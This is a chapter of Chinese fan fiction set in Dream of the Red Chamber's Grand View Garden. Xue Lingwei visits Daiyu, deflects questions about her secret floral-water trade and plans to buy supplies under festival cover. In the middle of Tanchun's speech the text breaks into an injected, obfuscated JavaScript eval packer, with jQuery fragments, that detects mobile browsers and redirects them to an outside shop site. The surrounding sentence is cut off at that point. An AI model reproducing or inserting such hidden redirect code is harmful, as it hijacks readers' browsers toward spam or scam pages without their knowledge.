几日后,张嬷嬷托儿子从城中带回消息。那脂粉铺老板娘将四瓶花露分赠给几位常来光顾的世家小姐试用,反响竟是极好。城中闺阁女子平日里惯用的香膏香气浓烈,这般清浅含蓄的花露一经用上,只觉脸上润而不腻,花香若有若无,反倒格外合意,已经有两位官家小姐托老板娘悄悄询问,可否再多购置几瓶。
消息传来,薛令微心中稍定,却依旧严守分寸,只吩咐下回再多制寥寥数瓶送去,绝不大批量出货。
生计之事暂且步入正轨,她也不愿日日闭门不出,刻意疏远园内众人。若是长久深居梨香院,反倒容易叫人觉得性情孤僻,平添揣测。恰逢这一日晨光温润,晨雾尚未散尽,春纤收拾妥当,低声回禀。
“方才潇湘馆的紫鹃路过院外,说是林姑娘近日咳嗽反反复复,闷在屋内无趣,邀园里几位姑娘过去下棋闲话。”
薛令微放下手中正写着的药草札记,抬眼颔首。
“既相邀,那便过去坐坐。”
她并未特意携带贵重礼物,只取了一小方素绢包裹,里面装着三两块前些日子制好的莲子松仁糕。莲子养心,松仁润燥,糖分放得极轻,最适合黛玉体虚少食甜腻之物。
一路穿过沁芳闸,绕过翠竹掩映的甬道,不多时便到了潇湘馆。
一进院门,满眼皆是青青翠竹,风穿过竹梢,簌簌轻响,院中摆着小小的石桌石凳。黛玉披着一件月白夹纱斗篷,斜倚在竹榻之上,脸色略略泛着几分苍白,紫鹃正立在一旁替她轻轻捶着肩。
窗下,宝钗已经先一步到了,手里拿着一卷诗稿,正低头细看。探春惜春姊妹二人也已经落座,一旁的鹦哥见有人进来,扑棱着翅膀轻叫了两声。
见薛令微进门,黛玉抬眸,浅浅一笑。
“令微妹妹倒是来得正好,方才还与宝姐姐说笑,这园子里日日各处宴饮,反倒少有这般安安静静闲话的时候。”
薛令微屈膝见礼,将手中绢包轻轻放在石桌之上。
“听闻姐姐近日身子不爽利,不敢带过于甜腻的吃食,闲来做了几块莲子松仁糕,糖放得极淡,姐姐若是胃口尚可,不妨尝一小块。”
紫鹃上前解开绢帕,雪白瓷碟衬着浅黄松仁糕,淡淡的莲子清香漫开。
黛玉本没什么胃口,见状倒是生出几分兴致,用银签轻轻挑起一小块,慢慢咬下一点,细品片刻,缓缓点头。
“入口清润,甜而不齁,用料倒是极用心。妹妹在吃食一道上,实在比小厨房那些厨娘还要懂得调和四时。”
宝钗放下手里诗卷,目光落在糕饼之上,语气温和。
“莲子清心,松仁润肺,配伍原是极好。只是这般细巧吃食,日日亲手调制,怕是要耗费不少功夫。妹妹也莫要太过劳神,闲暇之余,还是多保重自身才是。”
话说得体贴周全,只是言语之间,依旧带着几分恰到好处的疏离。宝钗素来行事审慎,凡事皆留余地,纵然相处和睦,也不会轻易交付真心。
探春放下手中把玩的竹镇纸,眼睛一亮,伸手取了一块。
“我素来就爱妹妹做的小点心,比起大宴之上那些重油重糖的精致点心,反倒清爽许多。说起来前几日听史大姑娘念叨,妹妹还制了花露?若是方便,改日倒想讨要少许试一试。近日伏案看书久了,脸上总觉得干燥紧绷。”
薛令微心中微微一顿。
她制花露一事本是隐秘,只悄悄托铺子代售,并未打算送给园中众人。若是贸然拿出,一旦传扬开来,人人都想要,源源不断向外拿取,极易惹人疑心,顺着花露一路追查出去。可若是直接开口拒绝,又显得太过小气,冷了探春一番好意。
她略一思忖,面上笑意温婉,从容开口。
“前几日不过一时兴起,随手蒸了小小几瓶,试做之时火候拿捏不稳,大半都已经弄坏了。余下少许,前几日便分给别处姊妹玩耍,如今已是所剩无几。等往后若是调试妥当,做出合意的,定然先送一瓶与三妹妹。”
一番话说得委婉妥帖,既没有直接回绝,又暂且将此事轻轻按下,不给旁人继续追问的余地。
一旁惜春性子素来冷淡,闻言只是淡淡抬了抬眼,并未搭话,又转头去看架上摆放的画稿,一心琢磨日后要画一幅大观园行乐图。
黛玉靠着软垫,轻轻掩住口,低低咳嗽两声,等气息稍稍平复,方才缓缓开口。
“说起这些消遣玩意儿,终究是闲时解闷罢了。这园子看着日日热闹,可热闹之下,未必安稳。近日府里各处开销越发紧巴,连底下丫鬟月钱,偶尔发放都要拖上几日。”
黛玉心思通透敏感,虽深居潇湘馆,却也隐约察觉到贾府日渐窘迫的光景,只是身为寄居之人,不便说得太过直白。
这话一出,石桌旁一时安静几分。
探春素来有心打理家事,闻言眉头微微蹙起。
“不瞒诸位姐姐妹妹,前几日去太太房中请安,偶然听见管家嬷嬷闲谈,南边几处田庄年景不好,租子缴上来一年不如一年。府里应酬人情、红白喜事,处处都要大把使银钱。坐吃山空,再不知节俭,日后怕是难以为继。我原想着寻机会理一理园中的琐事,只是人微言轻,许多事也不是单凭一己之力便能扭转。”
宝钗轻轻转动腕上镯子,神色平静,温声劝解。
“三妹妹有心原是极好。只是积弊已久,并非一朝一夕便能更改。凡事还需徐徐图之,不可操之过急,免得惹得府中老嬷嬷心中不满,反倒生出是非。”
几人你一言我一语,闲谈府中琐事。
薛令微坐在一旁静静听着,极少主动插话,心中却暗自盘算。探春心怀整顿家业之志,奈何府内盘根错节,各方利益纠缠,仅凭一腔心气,终究难以挽回衰败大局。宝钗洞明世事,处事圆滑,只求周全自保,不愿过分出头。黛玉看得明白,却无力改变分毫,只能暗自忧心。
每个人心中各有思量,各有取舍。
正闲话间,一阵爽朗笑声由远及近,史湘云提着裙摆大步走了进来,身后跟着伺候她的丫鬟。
“好呀!一众姐姐妹妹躲在此处闲话,竟也不派人去叫我!亏我寻了大半圈!”
湘云性格最是热烈洒脱,一落座便一眼看见了碟子里的松仁糕,毫不客气拿起一块就送进嘴里。
“哎呀,又是令微妹妹做的点心!真是口福不浅!说起来方才在路上,撞见邢夫人院里的钱婆子,正跟园子里几个婆子嚼舌根,拐弯抹角说些奇奇怪怪的话,我远远听了几句,似是又在念叨妹妹呢。”
此言一出,院中气氛稍稍一滞。
黛玉眉尖微微一蹙,轻声说道:
“那钱婆子素来多嘴,妹妹日后行事,还是多留意几分,莫要落进她言语圈套之中。”
薛令微端起桌上温热的菊花茶,轻轻抿了一口,神色淡然。
“不过几句闲言罢了,若是事事放在心上,日日纠结计较,反倒辜负这园中风光。清者自清,时日长久,是非自然分明。”
嘴上说得云淡风轻,心底却暗自警醒。钱婆子屡次暗中窥探,不肯善罢甘休,往后行事,每一步更要加倍小心。
宝钗打量她神色,缓缓开口。
“妹妹心性沉稳,遇事不慌,实在难得。只是小人最难防备,明枪易躲,暗箭难防,万万不可掉以轻心。平日里尽量少和府中下人单独周旋,免得被人刻意抓住话柄,无事生非。”
“宝姐姐提点得极是,令微记下了。”薛令微轻轻应下。
几人又转了话题,论起诗词歌赋,点评近日新作的诗作。湘云兴致最高,提议等再过几日秋阳正好,重开诗社,聚在芦雪庵联诗。探春当即拍手附和,惜春也点头应允。黛玉虽身子孱弱,听见要结社作诗,眼底也透出几分兴致。
一时间竹影小院之内,笑语盈盈,诗文唱和,倒生出几分难得的自在快活。
说笑大半日,日头渐渐移过中天,黛玉渐渐觉得神思倦怠,时不时咳嗽几声。众人见她精神不济,便陆续起身告辞,不愿过多叨扰。
走出潇湘馆,探春特意稍稍放慢脚步,与薛令微并肩走在前面。游廊两旁翠竹掩映,四下并无旁人。
探春侧过头,压低了声音。
“方才人多,不便细说。那日邢夫人特意传你过去,可有刻意为难于你?近来我时常看见邢夫人身边几个婆子四处游荡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761950|209609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打探,行事鬼祟,你平日里千万当心。若是真遇上什么难以处置的难处,若是信得过,大可悄悄遣人送信给我。纵然未必能周全化解,也能替你周旋一二。”
这番话语带着几分真切善意,并非客套寒暄。探春素来看不惯府里婆子仗势欺人、搬弄是非,虽与薛令微相交时日不算太久,却着实欣赏她沉静通透的性子。
薛令微心中微微一动,侧首看向探春,眼底浮出一抹暖意。在人心复杂的贾府之内,愿意真心伸出援手之人实在寥寥。
“多谢三妹妹挂怀。那日不过几句寻常提点,并未刻意为难。眼下尚且能够周全应付。若是日后当真遇上难解之事,定然不会客气,前去叨扰妹妹。”
探春微微一笑,轻轻点头。二人在岔路口作别,探春往秋爽斋而去,薛令微带着春纤,缓步向着梨香院折返。
一路秋风漫卷,落叶片片飘落在青石板路上。
春纤跟在身侧,低声说道:
“今日在潇湘馆,几位姑娘各有性情。林姑娘心思敏锐,宝姑娘处事周全,三姑娘性子爽直有担当,史大姑娘毫无城府。只是这园子里人情看似热络,终究身在高墙之内,祸福难料。”
薛令微缓缓走着,目光望向远处重重叠叠的亭台楼阁。
“正是如此。与她们相交闲谈,不必刻意算计逢迎,真心相待便可。只是再好的交情,有些藏在暗处的筹谋,依旧万万不可吐露半分。花露、蜜饯营生,乃是日后绝境之中唯一退路,一旦泄露,便是万劫不复。”
“日后若是再有人提起花露一事,依旧寻理由委婉搪塞,绝不拿出成品送人。宁可叫她们觉得我吝啬,也绝不可留下半点线索。”
回到梨香院,刚踏入院门,张嬷嬷便已经等候在廊下,神色带着一丝犹疑。趁着四下无人,快步上前,压低声音回话。
“二姑娘,方才城里脂粉铺老板娘托人悄悄捎话,城中已有三位官家小姐定下花露。只是需求量慢慢多了,需要更多干花、药料。若是一次次零星采买,日积月累,难免引起管厨房赖大媳妇的疑心。咱们该如何是好?”
薛令微走到廊下凭栏而立,秋风掀起她袖口轻纱,微微晃动。
此事的确是眼下一大难题。每一次少量购置药材花材尚可遮掩,若是采买量日渐增加,账目之上便会显出异样,管事媳妇何等精明,时日一长必定起疑。
她垂眸沉思片刻,心中慢慢生出一个主意。
“过几日便是重阳,园里一众姑娘必定要登高赏菊,酿制菊花酒,晾晒各色干花。到时候咱们借着重阳做香包、制菊花蜜的名头,光明正大多采买一批干花、麦冬、玉竹之类。对外只说是重阳消遣,缝制香囊,调配蜜露,名正言顺置办物料,便不会惹人怀疑。”
张嬷嬷闻言眼前一亮,连连点头。
“姑娘想得周全!借着重阳由头置办材料,任谁看了,都只当是闺中应景玩乐,绝不会往别处去想!”
“只是即便如此,采买依旧要适度,不可一次性置办过多。”薛令微叮嘱道,“凡事过犹不及,风头万万不可太盛。”
打发张嬷嬷悄悄退下之后,屋内只剩主仆二人。
春纤上前,轻轻合上雕花隔扇。
“再过几日重阳诗会,全园之人都要赴宴,必定格外热闹。只是越是热闹的时候,耳目越多,行事更要万分谨慎。”
薛令微走到窗边,望向庭院之中随风摇曳的几株残菊,眼底神色沉静。
“热闹是他们的,于我们而言,不过是借喧嚣掩住暗中行事罢了。”
“重阳那日,借着盛会与一众姑娘多多往来周旋,叫所有人只当我一心沉醉诗社宴饮,彻底放下心中戒备。明面上越是合群自在,暗处布局,便越是安全。”
夕阳缓缓下沉,漫天暖金色霞光铺满院落,将屋檐影子拉得极长。
一场重阳雅集已然渐渐临近。她一面要和园内一众姑娘诗词唱和,维持热络和睦的姐妹情谊;一面还要借着盛会掩护,悄悄扩充花露蜜露的物料储备。明是诗酒风流,暗是步步筹谋。
大观园表面繁花似锦,底下暗流交错,前路依旧漫漫,每一步皆需如履薄冰。